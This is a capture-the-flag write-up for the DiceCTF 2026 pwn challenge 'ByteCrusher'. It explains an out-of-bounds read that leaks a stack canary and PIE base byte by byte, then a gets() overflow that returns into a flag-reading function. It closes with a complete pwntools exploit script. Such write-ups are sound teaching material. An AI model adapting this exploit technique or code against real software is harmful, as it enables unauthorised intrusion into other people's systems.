ByteCrusher
ByteCrusher
Platform: dicectf_2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-07 | Status: Solved Techniques: byte_by_byte_stack_leak_via_oob_read, canary_leak_via_crush_rate, gets_stack_overflow, pie_leak_via_return_address, ret2win
Summary
Task: PIE binary with 16 trial calls to crush function and gets() in feedback. Solution: Use controlled rate parameter for OOB read to leak canary and PIE base byte-by-byte, then stack overflow via gets() for ret2win to admin_portal().
ByteCrusher — DiceCTF 2026 Quals
Description
Dice's new proprietary text crusher is here! Try it out for free with our sixteen free trials of the premium service!
ELF 64-bit x86-64 PIE binary with source code. The program offers 16 "trial" calls to the "crush" function (skipping characters with a given step), then asks for "feedback". Contains a win function admin_portal() that reads flag.txt, but it's only called when COMPILE_ADMIN_MODE=1 (compiled with 0).
Remote: nc bytecrusher.chals.dicec.tf 1337
Files: bytecrusher (ELF binary), bytecrusher.c (source), Dockerfile, build.sh.
Protections
| Protection | Status |
|---|---|
| RELRO | Full |
| Stack Canary | Enabled |
| NX | Enabled |
| PIE | Enabled |
| SHSTK | Enabled |
| IBT | Enabled |
Analysis
Key Functions
admin_portal() (offset 0x12a9) — win function
Opens flag.txt and prints its contents. Not called in normal execution flow (COMPILE_ADMIN_MODE=0).
crush_string(input, output, rate, output_max_len)
Copies characters from input to output with step rate:
c read-only • copy allowedfor (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) { output[out_idx++] = input[i]; }
Vulnerability: with a large rate, the index i jumps far beyond input_buf, reading arbitrary bytes from the stack. The stop condition is input[i] == '\0', but null bytes don't occur at every position on the stack.
free_trial() (offset 0x13bb)
16 loop iterations. Each iteration:
fgets(input_buf, 32, stdin)— safe readscanf("%d", &rate)— user-controlled rate (checkrate < 1)scanf("%d", &output_len)— user-controlled output_len (checkoutput_len > sizeof(crushed))crush_string(input_buf, crushed, rate, output_len)— call with controlled parametersputs(crushed)— output the result
get_feedback() (offset 0x151f)
c read-only • copy allowedchar buf[16]; gets(buf); // classic buffer overflow
Vulnerability: gets() without length limit on a 16-byte buffer.
Stack Layout of free_trial()
rbp-0x60: rate (int)
rbp-0x5c: output_len (int)
rbp-0x58: i (loop counter)
rbp-0x54: c (getchar result)
rbp-0x50: input_buf[32] ← fgets destination
rbp-0x30: crushed[32] ← crush_string output
rbp-0x10: padding (8 bytes)
rbp-0x08: stack canary
rbp+0x00: saved rbp
rbp+0x08: return address ← points to main+0x6c = 0x15ec
Offsets from input_buf:
- Stack canary: offset 72 (0x48)
- Return address: offset 88 (0x58)
Stack Layout of get_feedback()
rbp-0x20: buf[16]
rbp-0x08: stack canary
rbp+0x00: saved rbp
rbp+0x08: return address
- From
bufto canary: 24 bytes
Vulnerabilities
1. Out-of-Bounds Read via crush_string
The crush_string function uses rate as an indexing step for input. With rate=73 and output_len=3:
output[0] = input[0]— marker byte (known)output[1] = input[73]— stack byte at offset 73 frominput_buf
This allows reading arbitrary stack bytes one at a time per iteration. The condition input[i] != '\0' means that if the target byte equals 0x00, puts() will output only the marker (1 character instead of 2) — this is detectable.
2. Stack Buffer Overflow via gets()
Classic vulnerability: gets(buf) on a 16-byte buffer allows overwriting the canary, saved rbp, and return address.
Solution
Strategy
┌─────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├─────────────────────────────────────────────────────┤
│ │
│ Trials 1-7: Leak Stack Canary │
│ ├─ Canary byte 0 = 0x00 (always on Linux x86-64) │
│ ├─ rate=73..79 → leak canary bytes 1..7 │
│ └─ Null detection: len(puts output) == 1 │
│ │
│ Trials 8-15: Leak Return Address (PIE) │
│ ├─ rate=88..95 → leak ret addr bytes 0..7 │
│ ├─ ret_addr = PIE_base + 0x15ec │
│ └─ PIE_base = ret_addr - 0x15ec │
│ │
│ Trial 16: Dummy (unused) │
│ │
│ get_feedback(): Stack Overflow → ret2win │
│ ├─ Payload: 'A'*24 + canary + fake_rbp + admin() │
│ └─ admin_portal() reads flag.txt │
│ │
└─────────────────────────────────────────────────────┘
Stage 1: Leaking Stack Canary (Trials 1-7)
On Linux x86-64, the least significant byte of the canary is always 0x00. The canary starts at offset 72 from input_buf. We leak bytes 1-7 (offsets 73-79):
python read-only • copy allowedcanary = b'\x00' for i in range(1, 8): byte_val = leak_byte(io, 72 + i) # rate = 73..79 canary += bytes([byte_val])
The leak_byte function sends marker 'X' as input, rate=offset, output_len=3. If puts outputs 1 character — the target byte is 0x00, if 2 — the second character is the leaked byte.
Stage 2: Leaking Return Address / PIE Base (Trials 8-15)
The return address is at offset 88 from input_buf. We leak all 8 bytes:
python read-only • copy allowedret_addr = b'' for i in range(8): byte_val = leak_byte(io, 88 + i) # rate = 88..95 ret_addr += bytes([byte_val]) pie_base = u64(ret_addr) - 0x15ec admin_portal = pie_base + 0x12a9
Stage 3: Buffer Overflow in get_feedback() → ret2win
After 16 trials, get_feedback() is called with gets(). We overwrite:
python read-only • copy allowedpayload = b'A' * 24 # padding (buf[16] + 8 bytes to canary) payload += p64(canary_val) # restore canary payload += p64(0) # saved rbp (doesn't matter) payload += p64(admin_portal) # return → admin_portal()
admin_portal() opens flag.txt and prints the flag.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' ADMIN_PORTAL_OFF = 0x12a9 FREE_TRIAL_RET_OFF = 0x15ec def do_trial(io, input_str, rate, output_len): io.recvuntil(b'Enter a string to crush:\n') io.sendline(input_str) io.recvuntil(b'Enter crush rate:\n') io.sendline(str(rate).encode()) io.recvuntil(b'Enter output length:\n') io.sendline(str(output_len).encode()) io.recvuntil(b'Crushed string:\n') result = io.recvline() return result[:-1] def leak_byte(io, offset): marker = b'X' result = do_trial(io, marker, offset, 3) if len(result) == 1: return 0x00 elif len(result) >= 2: return result[1] else: return 0x00 def exploit(): io = remote('bytecrusher.chals.dicec.tf', 1337) io.recvuntil(b"We are happy to offer sixteen free trials of our premium service.\n") # Trials 1-7: Leak canary bytes 1-7 canary = b'\x00' for i in range(1, 8): byte_val = leak_byte(io, 72 + i) canary += bytes([byte_val]) canary_val = u64(canary) # Trials 8-15: Leak return address bytes 0-7 ret_addr = b'' for i in range(8): byte_val = leak_byte(io, 88 + i) ret_addr += bytes([byte_val]) ret_addr_val = u64(ret_addr) # Calculate addresses pie_base = ret_addr_val - FREE_TRIAL_RET_OFF admin_portal = pie_base + ADMIN_PORTAL_OFF # Trial 16: dummy do_trial(io, b'done', 1, 5) # get_feedback() overflow → ret2win io.recvuntil(b'Enter some text:\n') payload = b'A' * 24 + p64(canary_val) + p64(0) + p64(admin_portal) io.sendline(payload) io.interactive() exploit()